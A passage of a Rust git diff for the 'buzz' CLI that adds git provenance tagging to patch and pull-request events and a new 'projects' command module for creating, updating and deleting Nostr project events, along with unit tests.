+    let response: serde_json::Value = serde_json::from_str(raw)
+        .map_err(|e| CliError::Other(format!("relay response is not JSON: {e} ({raw})")))?;
+    let accepted = response
+        .get("accepted")
+        .and_then(serde_json::Value::as_bool)
+        .unwrap_or(false);
+    let message = response
+        .get("message")
+        .and_then(serde_json::Value::as_str)
+        .unwrap_or("");
+    if !accepted {
+        return Err(CliError::Other(format!("relay rejected event: {message}")));
+    }
+    if message == "duplicate" || message.starts_with("duplicate:") {
+        return Err(CliError::Conflict(conflict_msg.to_string()));
+    }
+    Ok(normalize_write_response(raw))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use nostr::{Keys, Kind};
+
+    fn event_with_origin(channel_id: Option<&str>, agent_name: Option<&str>) -> nostr::Event {
+        apply_git_provenance(
+            EventBuilder::new(Kind::Custom(1621), "issue"),
+            channel_id,
+            agent_name,
+        )
+        .expect("apply provenance")
+        .sign_with_keys(&Keys::generate())
+        .expect("sign event")
+    }
+
+    #[test]
+    fn public_channel_origin_uses_h_tag_and_suppresses_agent_name() {
+        let channel_id = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
+        let event = event_with_origin(Some(channel_id), Some("Builder"));
+        assert!(event
+            .tags
+            .iter()
+            .any(|tag| tag.as_slice() == ["h", channel_id]));
+        assert!(!event
+            .tags
+            .iter()
+            .any(|tag| tag.as_slice().first().map(String::as_str) == Some("buzz-origin-agent")));
+    }
+
+    #[test]
+    fn private_origin_exposes_only_agent_name() {
+        let event = event_with_origin(None, Some("Builder"));
+        assert!(event
+            .tags
+            .iter()
+            .any(|tag| tag.as_slice() == ["buzz-origin-agent", "Builder"]));
+        assert!(!event
+            .tags
+            .iter()
+            .any(|tag| tag.as_slice().first().map(String::as_str) == Some("h")));
+    }
+}
diff --git a/crates/buzz-cli/src/commands/patches.rs b/crates/buzz-cli/src/commands/patches.rs
index 13f1714d06..413934a3c1 100644
--- a/crates/buzz-cli/src/commands/patches.rs
+++ b/crates/buzz-cli/src/commands/patches.rs
@@ -1,4 +1,5 @@
 use crate::client::BuzzClient;
+use crate::commands::with_git_provenance;
 use crate::error::CliError;
 use crate::validate::{
     read_file_or_stdin, read_or_stdin, sdk_err, validate_hex64, validate_repo_id,
@@ -47,7 +48,8 @@ pub async fn cmd_send_patch(
         id: repo_id.to_string(),
     };
 
-    let builder = buzz_sdk::build_git_patch(&repo, &content, &meta).map_err(sdk_err)?;
+    let builder =
+        with_git_provenance(buzz_sdk::build_git_patch(&repo, &content, &meta).map_err(sdk_err)?)?;
     let event = client.sign_event(builder)?;
     let resp = client.submit_event(event).await?;
     println!("{resp}");
@@ -180,7 +182,8 @@ pub async fn cmd_patch_status(
         applied_as_commits: applied_as_commit.to_vec(),
     };
 
-    let builder = buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?;
+    let builder =
+        with_git_provenance(buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?)?;
     let event = client.sign_event(builder)?;
     let resp = client.submit_event(event).await?;
     println!("{resp}");
diff --git a/crates/buzz-cli/src/commands/pr.rs b/crates/buzz-cli/src/commands/pr.rs
index 4272c2bfd8..74c580a6d6 100644
--- a/crates/buzz-cli/src/commands/pr.rs
+++ b/crates/buzz-cli/src/commands/pr.rs
@@ -1,4 +1,5 @@
 use crate::client::BuzzClient;
+use crate::commands::with_git_provenance;
 use crate::error::CliError;
 use crate::validate::{
     read_file_or_stdin, read_or_stdin, sdk_err, validate_hex64, validate_repo_id,
@@ -55,10 +56,16 @@ pub async fn cmd_open_pr(
         revision_of: revision_of.map(str::to_string),
     };
 
-    let builder = buzz_sdk::build_git_pull_request(&repo, &content, &meta).map_err(sdk_err)?;
+    let builder = with_git_provenance(
+        buzz_sdk::build_git_pull_request(&repo, &content, &meta).map_err(sdk_err)?,
+    )?;
     let event = client.sign_event(builder)?;
+    let event_id = event.id.to_hex();
     let resp = client.submit_event(event).await?;
-    println!("{resp}");
+    // `link` renders as a rich preview card in Buzz Desktop when included in
+    // a chat message — agents announce PRs with it (see base_prompt.md).
+    let link = crate::links::pull_request_link(&event_id, repo_owner, repo_id);
+    crate::client::print_create_response(&resp, "link", &link);
     Ok(())
 }
 
@@ -97,7 +104,9 @@ pub async fn cmd_update_pr(
         merge_base: merge_base.map(str::to_string),
     };
 
-    let builder = buzz_sdk::build_git_pr_update(&repo, &content, &meta).map_err(sdk_err)?;
+    let builder = with_git_provenance(
+        buzz_sdk::build_git_pr_update(&repo, &content, &meta).map_err(sdk_err)?,
+    )?;
     let event = client.sign_event(builder)?;
     let resp = client.submit_event(event).await?;
     println!("{resp}");
@@ -206,7 +215,8 @@ pub async fn cmd_pr_status(
         applied_as_commits: vec![],
     };
 
-    let builder = buzz_sdk::build_git_status(status, &content, &meta).map_err(sdk_err)?;
+    let builder =
+        with_git_provenance(buzz_sdk::build_git_status(status, &content, &meta).map_err(sdk_err)?)?;
     let event = client.sign_event(builder)?;
     let resp = client.submit_event(event).await?;
     println!("{resp}");
diff --git a/crates/buzz-cli/src/commands/projects.rs b/crates/buzz-cli/src/commands/projects.rs
new file mode 100644
index 0000000000..e6798dbfc4
--- /dev/null
+++ b/crates/buzz-cli/src/commands/projects.rs
@@ -0,0 +1,1198 @@
+//! `buzz projects` commands — NIP-MP kind:30621 write path.
+//!
+//! All mutations follow a read-modify-write pattern:
+//!   1. Fetch the caller's own live head via `kinds:[30621] + authors:[self] + #d:[slug]`.
+//!   2. Mutate the tag set (strip `auth`, apply change).
+//!   3. Re-validate the full envelope through Layer A before submitting.
+//!   4. Set `created_at = head.created_at + 1` (never wall-clock) to avoid
+//!      overwriting a concurrently advancing head.
+//!
+//! Limitations recorded in this phase:
+//!   - Relay hints are read-preserved but not authored (`--repo` carries
+//!     a coordinate only; existing hinted tags survive RMW unchanged).
+//!   - `delete` targets signer-self only (NIP-OA owner-delete path deferred).
+//!   - Deletion durability against later arrival (watermark follow-up) is
+//!     not in scope.
+
+use buzz_core::kind::KIND_PROJECT;
+use buzz_sdk::{
+    build_delete_addressable, build_project, build_project_with_tags, ProjectMemberCoord,
+    PROJECT_D_MAX_LEN,
+};
+use nostr::{Event, EventBuilder, Tag, Timestamp};
+
+use crate::client::BuzzClient;
+use crate::commands::parse_write_response;
+use crate::error::CliError;
+
+// ── Buzz repo-ID grammar (bare --repo shorthand) ─────────────────────────────
+
+/// Pattern for a Buzz-hosted repo identifier (bare `--repo` shorthand).
+/// `[a-zA-Z0-9._-]{1,64}` — no colons, so guaranteed collision-free with
+/// `30617:<owner>:<d>` full coordinates.
+fn is_bare_repo_id(s: &str) -> bool {
+    !s.is_empty()
+        && s.len() <= 64
+        && s.chars()
+            .all(|c| c.is_ascii_alphanumeric() || c == '.' || c == '_' || c == '-')
+}
+
+/// Expand a CLI `--repo` argument into a full `30617:<owner>:<d>` coordinate.
+///
+/// Bare form (`[a-zA-Z0-9._-]{1,64}`): owner defaults to the caller's pubkey.
+/// Full form (`30617:<owner-hex>:<d>`): used verbatim.
+fn expand_repo_coord(s: &str, caller_pubkey: &str) -> Result<ProjectMemberCoord, CliError> {
+    if is_bare_repo_id(s) {
+        // Bare form: expand to full coordinate with caller as owner.
+        let full = format!("30617:{caller_pubkey}:{s}");
+        ProjectMemberCoord::parse_full(&full)
+            .map_err(|e| CliError::Usage(format!("invalid repo coordinate: {e}")))
+    } else {
+        // Full form: must be parseable as a complete coordinate.
+        ProjectMemberCoord::parse_full(s)
+            .map_err(|e| CliError::Usage(format!("invalid repo coordinate: {e}")))
+    }
+}
+
+// ── Head-fetch helper ─────────────────────────────────────────────────────────
+
+fn parse_events(json: &str) -> Result<Vec<Event>, CliError> {
+    serde_json::from_str(json)
+        .map_err(|e| CliError::Other(format!("failed to parse relay response: {e}")))
+}
+
+/// Fetch the caller's own live kind:30621 head for `slug`.
+async fn fetch_own_project(client: &BuzzClient, slug: &str) -> Result<Option<Event>, CliError> {
+    fetch_project(client, slug, None).await
+}
+
+/// Fetch a project head by slug and optional owner pubkey.
+async fn fetch_project(
+    client: &BuzzClient,
+    slug: &str,
+    owner: Option<&str>,
+) -> Result<Option<Event>, CliError> {
+    let pubkey = match owner {
+        Some(pk) => {
+            crate::validate::validate_hex64(pk)?;
+            pk.to_string()
+        }
+        None => client.keys().public_key().to_hex(),
+    };
+    let filter = serde_json::json!({
+        "kinds": [KIND_PROJECT],
+        "authors": [pubkey],
+        "#d": [slug],
+        "limit": 1,
+    });
+    let raw = client.query(&filter).await?;
+    let mut events = parse_events(&raw)?;
+    events.sort_by_key(|e| std::cmp::Reverse(e.created_at));
+    Ok(events.into_iter().next())
+}
+
+// ── Tag helpers ───────────────────────────────────────────────────────────────
+
+fn tag_name(tag: &Tag) -> Option<&str> {
+    tag.as_slice().first().map(String::as_str)
+}
+
+fn tag_value(tag: &Tag) -> Option<&str> {
+    tag.as_slice().get(1).map(String::as_str)
+}
+
+fn make_tag(parts: &[&str]) -> Result<Tag, CliError> {
+    Tag::parse(parts.iter().copied())
+        .map_err(|e| CliError::Other(format!("tag construction failed: {e}")))
+}
+
+// ── Submit helper ─────────────────────────────────────────────────────────────
+
+async fn submit_project(client: &BuzzClient, builder: EventBuilder) -> Result<(), CliError> {
+    let event = client.sign_event(builder)?;
+    let raw = client.submit_event(event).await?;
+    println!(
+        "{}",
+        parse_write_response(&raw, "project changed concurrently; retry")?
+    );
+    Ok(())
+}
+
+// ── Build helpers ─────────────────────────────────────────────────────────────
+
+/// Advance the `created_at` counter off an observed head.
+fn next_timestamp(head: &Event) -> Result<Timestamp, CliError> {
+    head.created_at
+        .as_secs()
+        .checked_add(1)
+        .map(Timestamp::from)
+        .ok_or_else(|| CliError::Other("project timestamp cannot be advanced".into()))
+}
+
+/// Strip `auth` from a tag list and pass the resulting envelope through
+/// Layer A validation. Returns a validated `EventBuilder` at `next_ts`.
+fn rebuild_project(
+    content: &str,
+    tags: Vec<Tag>,
+    next_ts: Timestamp,
+) -> Result<EventBuilder, CliError> {
+    // Strip auth tags.
+    let clean_tags: Vec<Tag> = tags
+        .into_iter()
+        .filter(|t| tag_name(t) != Some("auth"))
+        .collect();
+
+    build_project_with_tags(content, clean_tags)
+        .map_err(|e| CliError::Other(format!("envelope validation failed: {e}")))
+        .map(|b| b.custom_created_at(next_ts))
+}
+
+// ── Command implementations ───────────────────────────────────────────────────
+
+/// `buzz projects create`
+pub async fn cmd_create(
+    client: &BuzzClient,
+    slug: &str,
+    repos: &[String],
+    name: Option<&str>,
+    description: Option<&str>,
+    channel: Option<&str>,
+    visibility: Option<&str>,
+) -> Result<(), CliError> {
+    // ── Local validation (all checks before any .await) ───────────────────
+    validate_project_slug(slug)?;
+
+    let caller_pubkey = client.keys().public_key().to_hex();
+
+    // Expand and validate repo coordinates.
+    let members: Vec<ProjectMemberCoord> = repos
+        .iter()
+        .map(|r| expand_repo_coord(r, &caller_pubkey))
+        .collect::<Result<Vec<_>, _>>()?;
+
+    // Dedupe: preserve first occurrence, reject duplicates with Usage.
+    let mut seen = std::collections::HashSet::new();
+    for m in &members {
+        if !seen.insert(m.coord.clone()) {
+            return Err(CliError::Usage(format!(
+                "duplicate --repo coordinate in this invocation: {:?}",
+                m.coord
+            )));
+        }
+    }
+
+    // Validate optional metadata (early, before any network call).
+    if let Some(ch) = channel {
+        crate::validate::validate_uuid(ch)?;
+    }
+    if let Some(vis) = visibility {
+        validate_visibility(vis)?;
+    }
+    if let Some(n) = name {
+        if n.len() > 256 {
+            return Err(CliError::Usage(format!(
+                "project name must not exceed 256 bytes (got {})",
+                n.len()
+            )));
+        }
+    }
+
+    // ── Network: collision preflight ──────────────────────────────────────
+    if fetch_own_project(client, slug).await?.is_some() {
+        return Err(CliError::Conflict(format!(
+            "project {slug:?} already exists; use 'buzz projects update' to modify it"
+        )));
+    }
+
+    // ── Build via Layer B (enforces all writer policy) ────────────────────
+    let builder = build_project(slug, name, description, &members, channel, visibility)
+        .map_err(|e| CliError::Usage(e.to_string()))?;
+    submit_project(client, builder).await
+}
+
+/// `buzz projects get`
+pub async fn cmd_get(client: &BuzzClient, slug: &str, owner: Option<&str>) -> Result<(), CliError> {
+    validate_project_slug(slug)?;
+    let resp = match fetch_project(client, slug, owner).await? {
+        Some(event) => serde_json::json!({
+            "event_id": event.id.to_hex(),
+            "pubkey": event.pubkey.to_hex(),
+            "created_at": event.created_at.as_secs(),
+            "kind": event.kind.as_u16(),
+            "tags": event.tags.iter().map(|t| t.as_slice().to_vec()).collect::<Vec<_>>(),
+            "content": event.content,
+        }),
+        None => {
+            let owner_desc = owner.unwrap_or("current identity");
+            return Err(CliError::NotFound(format!(
+                "project {slug:?} not found for {owner_desc}"
+            )));
+        }
+    };
+    println!("{resp}");
+    Ok(())
+}
+
+/// `buzz projects list`
+pub async fn cmd_list(
+    client: &BuzzClient,
+    owner: Option<&str>,
+    limit: Option<u32>,
+) -> Result<(), CliError> {
+    let pubkey = match owner {
+        Some(pk) => {
+            crate::validate::validate_hex64(pk)?;
+            pk.to_string()
+        }
+        None => client.keys().public_key().to_hex(),
+    };
+    let mut filter = serde_json::json!({
+        "kinds": [KIND_PROJECT],
+        "authors": [pubkey],
+    });
+    if let Some(n) = limit {
+        filter["limit"] = serde_json::json!(n);
+    }
+    let resp = client.query(&filter).await?;
+    println!("{resp}");
+    Ok(())
+}
+
+/// `buzz projects add-repo`
+pub async fn cmd_add_repo(
+    client: &BuzzClient,
+    slug: &str,
+    repos: &[String],
+) -> Result<(), CliError> {
+    validate_project_slug(slug)?;
+    let caller_pubkey = client.keys().public_key().to_hex();
+
+    // ── Local validation before any .await ────────────────────────────────
+    let new_members: Vec<ProjectMemberCoord> = repos
+        .iter()
+        .map(|r| expand_repo_coord(r, &caller_pubkey))
+        .collect::<Result<Vec<_>, _>>()?;
+
+    // Dedupe within this invocation: first occurrence wins, duplicate → Usage.
+    let mut seen = std::collections::HashSet::new();
+    for m in &new_members {
+        if !seen.insert(m.coord.clone()) {
+            return Err(CliError::Usage(format!(
+                "duplicate --repo coordinate in this invocation: {:?}",
+                m.coord
+            )));
+        }
+    }
+
+    // ── Network: fetch head ───────────────────────────────────────────────
+    let head = fetch_own_project(client, slug)
+        .await?
+        .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?;
+    let next_ts = next_timestamp(&head)?;
+
+    // Build the new tag set: keep existing tags (including hinted members),
+    // append new members only if not already present (by coordinate).
+    let mut tags: Vec<Tag> = head.tags.iter().cloned().collect();
+    let existing_coords: std::collections::HashSet<String> = head
+        .tags
+        .iter()
+        .filter(|t| tag_name(t) == Some("a"))
+        .filter_map(|t| tag_value(t).map(String::from))
+        .collect();
+    let mut added = 0usize;
+    for m in &new_members {
+        if !existing_coords.contains(m.coord.as_str()) {
+            let parts = m.to_tag_parts();
+            let parts_ref: Vec<&str> = parts.iter().map(String::as_str).collect();
+            tags.push(
+                Tag::parse(parts_ref.iter().copied())
+                    .map_err(|e| CliError::Other(format!("member tag construction failed: {e}")))?,
+            );
+            added += 1;
+        }
+    }
+
+    // All requested coordinates were already present — no change to publish.
+    if added == 0 {
+        return Err(CliError::Conflict(format!(
+            "all requested repositories are already members of project {slug:?}"
+        )));
+    }
+
+    let builder = rebuild_project(&head.content, tags, next_ts)?;
+    submit_project(client, builder).await
+}
+
+/// `buzz projects remove-repo`
+pub async fn cmd_remove_repo(
+    client: &BuzzClient,
+    slug: &str,
+    repos: &[String],
+) -> Result<(), CliError> {
+    validate_project_slug(slug)?;
+    let caller_pubkey = client.keys().public_key().to_hex();
+
+    // ── Local validation before any .await ────────────────────────────────
+    let to_remove: Vec<ProjectMemberCoord> = repos
+        .iter()
+        .map(|r| expand_repo_coord(r, &caller_pubkey))
+        .collect::<Result<Vec<_>, _>>()?;
+
+    // ── Network: fetch head ───────────────────────────────────────────────
+    let head = fetch_own_project(client, slug)
+        .await?
+        .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?;
+    let next_ts = next_timestamp(&head)?;
+
+    // Verify all requested repos exist in the project.
+    let existing_coords: std::collections::HashSet<String> = head
+        .tags
+        .iter()
+        .filter(|t| tag_name(t) == Some("a"))
+        .filter_map(|t| tag_value(t).map(String::from))
+        .collect();
+    for m in &to_remove {
+        if !existing_coords.contains(m.coord.as_str()) {
+            return Err(CliError::NotFound(format!(
+                "project {slug:?} does not contain member {:?}",
+                m.coord
+            )));
+        }
+    }
+
+    let remove_coords: std::collections::HashSet<&str> =
+        to_remove.iter().map(|m| m.coord.as_str()).collect();
+
+    // Keep all tags except auth and the removed members.
+    let tags: Vec<Tag> = head
+        .tags
+        .iter()
+        .filter(|t| {
+            if tag_name(t) == Some("auth") {
+                return false;
+            }
+            if tag_name(t) == Some("a") {
+                if let Some(coord) = tag_value(t) {
+                    return !remove_coords.contains(coord);
+                }
+            }
+            true
+        })
+        .cloned()
+        .collect();
+
+    // Single rebuild validates the full envelope and strips any remaining auth.
+    let builder = rebuild_project(&head.content, tags, next_ts)?;
+    submit_project(client, builder).await
+}
+
+/// `buzz projects update`
+///
+/// Requires at least one setter or clearer; a no-op call is a usage error.
+#[allow(clippy::too_many_arguments)]
+pub async fn cmd_update(
+    client: &BuzzClient,
+    slug: &str,
+    name: Option<&str>,
+    clear_name: bool,
+    description: Option<&str>,
+    clear_description: bool,
+    channel: Option<&str>,
+    clear_channel: bool,
+    visibility: Option<&str>,
+    clear_visibility: bool,
+) -> Result<(), CliError> {
+    // Guard: at least one mutation required. The clap `ArgGroup` with
+    // `required(true).multiple(true)` enforces this at parse time; this
+    // runtime check is a defense-in-depth safety net for callers that invoke
+    // `cmd_update` directly (e.g. tests and future programmatic callers).
+    let has_mutation = name.is_some()
+        || clear_name
+        || description.is_some()
+        || clear_description
+        || channel.is_some()
+        || clear_channel
+        || visibility.is_some()
+        || clear_visibility;
+    if !has_mutation {
+        return Err(CliError::Usage(
+            "buzz projects update requires at least one of: \
+             --name, --clear-name, --description, --clear-description, \
+             --channel, --clear-channel, --visibility, --clear-visibility"
+                .into(),
+        ));
+    }
+
+    validate_project_slug(slug)?;
+    if let Some(ch) = channel {
+        crate::validate::validate_uuid(ch)?;
+    }
+    if let Some(vis) = visibility {
+        validate_visibility(vis)?;
+    }
+
+    let head = fetch_own_project(client, slug)
+        .await?
+        .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?;
+    let next_ts = next_timestamp(&head)?;
+
+    // Build the new tag set. For each singleton metadata field:
+    //   - setter present: replace value (strip old, append new)
+    //   - clear flag set: drop the tag
+    //   - neither: keep existing
+    // Non-singleton / non-metadata tags (d, a, unknown) are preserved as-is.
+    let singleton_fields = ["name", "description", "buzz-channel", "buzz-visibility"];
+    let mut tags: Vec<Tag> = head
+        .tags
+        .iter()
+        .filter(|t| {
+            if tag_name(t) == Some("auth") {
+                return false;
+            }
+            // Drop singletons we're replacing or clearing.
+            if let Some(field) = tag_name(t) {
+                if singleton_fields.contains(&field) {
+                    let clear = match field {
+                        "name" => clear_name || name.is_some(),
+                        "description" => clear_description || description.is_some(),
+                        "buzz-channel" => clear_channel || channel.is_some(),
+                        "buzz-visibility" => clear_visibility || visibility.is_some(),
+                        _ => false,
+                    };
+                    return !clear;
+                }
+            }
+            true
+        })
+        .cloned()
+        .collect();
+
+    // Append new singleton values.
+    if let Some(n) = name {
+        tags.push(make_tag(&["name", n])?);
+    }
+    if let Some(d) = description {
+        tags.push(make_tag(&["description", d])?);
+    }
+    if let Some(ch) = channel {
+        tags.push(make_tag(&["buzz-channel", ch])?);
+    }
+    if let Some(vis) = visibility {
+        tags.push(make_tag(&["buzz-visibility", vis])?);
+    }
+
+    let builder = build_project_with_tags(&head.content, tags)
+        .map_err(|e| CliError::Other(format!("envelope validation failed: {e}")))?
+        .custom_created_at(next_ts);
+    submit_project(client, builder).await
+}
+
+/// `buzz projects delete`
+///
+/// Head-based and verified:
+///   1. Fetch own live head — `NotFound` if absent.
+///   2. Build tombstone at `head.created_at + 1`.
+///   3. Submit.
+///   4. Re-query the coordinate; if a newer head survived → `Conflict`.
+pub async fn cmd_delete(client: &BuzzClient, slug: &str) -> Result<(), CliError> {
+    validate_project_slug(slug)?;
+
+    let head = fetch_own_project(client, slug)
+        .await?
+        .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?;
+    let next_ts = next_timestamp(&head)?;
+
+    let pubkey_hex = client.keys().public_key().to_hex();
+    let tombstone = build_delete_addressable(KIND_PROJECT, &pubkey_hex, slug)
+        .map_err(|e| CliError::Other(format!("failed to build delete event: {e}")))?
+        .custom_created_at(next_ts);
+
+    let event = client.sign_event(tombstone)?;
+    let raw = client.submit_event(event).await?;
+    parse_write_response(&raw, "delete event was dominated; a newer head exists")?;
+
+    // Post-submit verification: re-query to confirm the head is gone.
+    if let Some(survivor) = fetch_own_project(client, slug).await? {
+        // A newer head survived the tombstone.
+        return Err(CliError::Conflict(format!(
+            "project {slug:?} still exists (head at {}); a concurrent write raced the delete",
+            survivor.created_at.as_secs()
+        )));
+    }
+
+    println!("{}", serde_json::json!({ "deleted": slug, "status": "ok" }));
+    Ok(())
+}
+
+// ── Validation helpers ────────────────────────────────────────────────────────
+
+/// Validate a project slug: non-empty, ≤1024 bytes, verbatim.
+/// Does NOT impose the Buzz repo-ID grammar — project slugs are more permissive.
+fn validate_project_slug(slug: &str) -> Result<(), CliError> {
+    if slug.is_empty() {
+        return Err(CliError::Usage("project slug must not be empty".into()));
+    }
+    if slug.len() > PROJECT_D_MAX_LEN {
+        return Err(CliError::Usage(format!(
+            "project slug must not exceed {PROJECT_D_MAX_LEN} bytes (got {})",
+            slug.len()
+        )));
+    }
+    Ok(())
+}
+
+/// Validate a `buzz-visibility` value at the writer level.
+fn validate_visibility(vis: &str) -> Result<(), CliError> {
+    if vis != "listed" && vis != "unlisted" {
+        return Err(CliError::Usage(format!(
+            "visibility must be 'listed' or 'unlisted' (got {vis:?})"
+        )));
+    }
+    Ok(())
+}
+
+// ── Dispatch ──────────────────────────────────────────────────────────────────
+
+pub async fn dispatch(cmd: crate::ProjectsCmd, client: &BuzzClient) -> Result<(), CliError> {
+    use crate::ProjectsCmd;
+    match cmd {
+        ProjectsCmd::Create {
+            slug,
+            repo,
+            name,
+            description,
+            channel,
+            visibility,
+        } => {
+            cmd_create(
+                client,
+                &slug,
+                &repo,
+                name.as_deref(),
+                description.as_deref(),
+                channel.as_deref(),
+                visibility.map(|v| v.as_str()),
+            )
+            .await
+        }
+        ProjectsCmd::Get { slug, owner } => cmd_get(client, &slug, owner.as_deref()).await,
+        ProjectsCmd::List { owner, limit } => cmd_list(client, owner.as_deref(), limit).await,
+        ProjectsCmd::AddRepo { slug, repo } => cmd_add_repo(client, &slug, &repo).await,
+        ProjectsCmd::RemoveRepo { slug, repo } => cmd_remove_repo(client, &slug, &repo).await,
+        ProjectsCmd::Update {
+            slug,
+            name,
+            clear_name,
+            description,
+            clear_description,
+            channel,
+            clear_channel,
+            visibility,
+            clear_visibility,
+        } => {
+            cmd_update(
+                client,
+                &slug,
+                name.as_deref(),
+                clear_name,
+                description.as_deref(),
+                clear_description,
+                channel.as_deref(),
+                clear_channel,
+                visibility.map(|v| v.as_str()),
+                clear_visibility,
+            )
+            .await
+        }
+        ProjectsCmd::Delete { slug } => cmd_delete(client, &slug).await,
+    }
+}
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+#[cfg(test)]
+mod tests {
+    use buzz_sdk::{validate_project_envelope, PROJECT_MEMBER_CAP};
+    use nostr::Tag;
+
+    use super::*;
+
+    // ── Coordinate expansion ──────────────────────────────────────────────────
+
+    const OWNER_HEX: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
+    const OWNER_B_HEX: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
+
+    #[test]
+    fn expand_repo_coord_bare_expands_with_caller_pubkey() {
+        let coord = expand_repo_coord("my-repo", OWNER_HEX).unwrap();
+        assert_eq!(coord.coord, format!("30617:{OWNER_HEX}:my-repo"));
+    }
+
+    #[test]
+    fn expand_repo_coord_full_passes_through() {
+        let full = format!("30617:{OWNER_HEX}:some-repo");
+        let coord = expand_repo_coord(&full, OWNER_B_HEX).unwrap();
+        // Owner from the full coord, not the caller.
+        assert_eq!(coord.coord, full);
+    }
+
+    #[test]
+    fn expand_repo_coord_full_cross_owner() {
+        let full = format!("30617:{OWNER_B_HEX}:infra");
+        let coord = expand_repo_coord(&full, OWNER_HEX).unwrap();
+        assert_eq!(coord.coord, full);
+    }
+
+    #[test]
+    fn expand_repo_coord_rejects_uppercase_owner() {
+        let upper = "30617:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:buzz";
+        assert!(expand_repo_coord(upper, OWNER_HEX).is_err());
+    }
+
+    #[test]
+    fn expand_repo_coord_rejects_coordinate_shaped_bare_value() {
+        // A value with a colon is never a bare id.
+        let not_bare = "30617:something";
+        // parse_full will fail because it's not a valid full coordinate either.
+        assert!(expand_repo_coord(not_bare, OWNER_HEX).is_err());
+    }
+
+    // ── validate_project_slug ─────────────────────────────────────────────────
+
+    #[test]
+    fn validate_project_slug_accepts_normal() {
+        assert!(validate_project_slug("my-project").is_ok());
+        assert!(validate_project_slug("platform:v2").is_ok()); // colons allowed — more permissive than repo-id
+    }
+
+    #[test]
+    fn validate_project_slug_rejects_empty() {
+        assert!(validate_project_slug("").is_err());
+    }
+
+    #[test]
+    fn validate_project_slug_rejects_over_1024() {
+        let long = "a".repeat(1025);
+        assert!(validate_project_slug(&long).is_err());
+    }
+
+    #[test]
+    fn validate_project_slug_accepts_1024() {
+        let at_limit = "a".repeat(1024);
+        assert!(validate_project_slug(&at_limit).is_ok());
+    }
+
+    // ── validate_visibility ───────────────────────────────────────────────────
+
+    #[test]
+    fn validate_visibility_accepts_listed_and_unlisted() {
+        assert!(validate_visibility("listed").is_ok());
+        assert!(validate_visibility("unlisted").is_ok());
+    }
+
+    #[test]
+    fn validate_visibility_rejects_unknown_token() {
+        assert!(validate_visibility("chartreuse").is_err());
+        assert!(validate_visibility("").is_err());
+    }
+
+    // ── is_bare_repo_id ───────────────────────────────────────────────────────
+
+    #[test]
+    fn bare_repo_id_accepts_valid() {
+        assert!(is_bare_repo_id("buzz"));
+        assert!(is_bare_repo_id("my-repo_1.0"));
+    }
+
+    #[test]
+    fn bare_repo_id_rejects_colon() {
+        assert!(!is_bare_repo_id("30617:something"));
+        assert!(!is_bare_repo_id("has:colon"));
+    }
+
+    #[test]
+    fn bare_repo_id_rejects_empty() {
+        assert!(!is_bare_repo_id(""));
+    }
+
+    #[test]
+    fn bare_repo_id_rejects_over_64() {
+        let long = "a".repeat(65);
+        assert!(!is_bare_repo_id(&long));
+    }
+
+    // ── tag helpers ───────────────────────────────────────────────────────────
+
+    fn make_test_tag(parts: &[&str]) -> Tag {
+        Tag::parse(parts.iter().copied()).unwrap()
+    }
+
+    // ── rebuild_project: hinted / unknown tag preservation ───────────────────
+
+    #[test]
+    fn rebuild_project_preserves_hinted_member_tags() {
+        // A member 'a' tag with a relay hint must survive RMW untouched.
+        let coord = format!("30617:{OWNER_HEX}:buzz");
+        let hint = "wss://relay.example.com";
+        let tags = vec![
+            make_test_tag(&["d", "platform"]),
+            Tag::parse(["a", &coord, hint]).unwrap(),
+        ];
+        let ts = Timestamp::from(1_700_000_001u64);
+        let b = rebuild_project("", tags, ts).unwrap();
+        let ev = b.sign_with_keys(&nostr::Keys::generate()).expect("sign");
+        let a_tag = ev
+            .tags
+            .iter()
+            .find(|t| tag_name(t) == Some("a"))
+            .expect("a tag present");
+        assert_eq!(
+            a_tag.as_slice(),
+            &["a".to_string(), coord, hint.to_string()],
+            "relay hint must survive rebuild"
+        );
+    }
+
+    #[test]
+    fn rebuild_project_preserves_unknown_tags() {
+        let tags = vec![
+            make_test_tag(&["d", "platform"]),
+            make_test_tag(&["future-metadata", "value"]),
+        ];
+        let ts = Timestamp::from(1_700_000_001u64);
+        let b = rebuild_project("", tags, ts).unwrap();
+        let ev = b.sign_with_keys(&nostr::Keys::generate()).expect("sign");
+        assert!(ev
+            .tags
+            .iter()
+            .any(|t| tag_name(t) == Some("future-metadata")));
+    }
+
+    #[test]
+    fn rebuild_project_strips_auth_tag() {
+        let tags = vec![
+            make_test_tag(&["d", "platform"]),
+            make_test_tag(&["auth", &"a".repeat(64), "kind=30617", &"b".repeat(128)]),
+        ];
+        let ts = Timestamp::from(1_700_000_001u64);
+        let b = rebuild_project("", tags, ts).unwrap();
+        let ev = b.sign_with_keys(&nostr::Keys::generate()).expect("sign");
+        assert!(
+            !ev.tags.iter().any(|t| tag_name(t) == Some("auth")),
+            "auth tag must be stripped"
+        );
+    }
+
+    #[test]
+    fn rebuild_project_rejects_over_cap_foreign_head() {
+        // A foreign head with 65 members must fail Layer A on republish.
+        let mut tags = vec![make_test_tag(&["d", "wide"])];
+        for i in 0..=64u32 {
+            let coord = format!("30617:{OWNER_HEX}:repo-{i:02}");
+            tags.push(make_test_tag(&["a", &coord]));
+        }
+        assert_eq!(
+            tags.iter().filter(|t| tag_name(t) == Some("a")).count(),
+            65,
+            "65 a-tags"
+        );
+        let ts = Timestamp::from(1_700_000_001u64);
+        // rebuild_project strips auth, but 65 a-tags still exceeds cap.
+        assert!(
+            rebuild_project("", tags, ts).is_err(),
+            "over-cap foreign head must fail rebuild"
+        );
+    }
+
+    #[test]
+    fn rebuild_project_at_exact_cap_succeeds() {
+        let mut tags = vec![make_test_tag(&["d", "wide"])];
+        for i in 0..PROJECT_MEMBER_CAP {
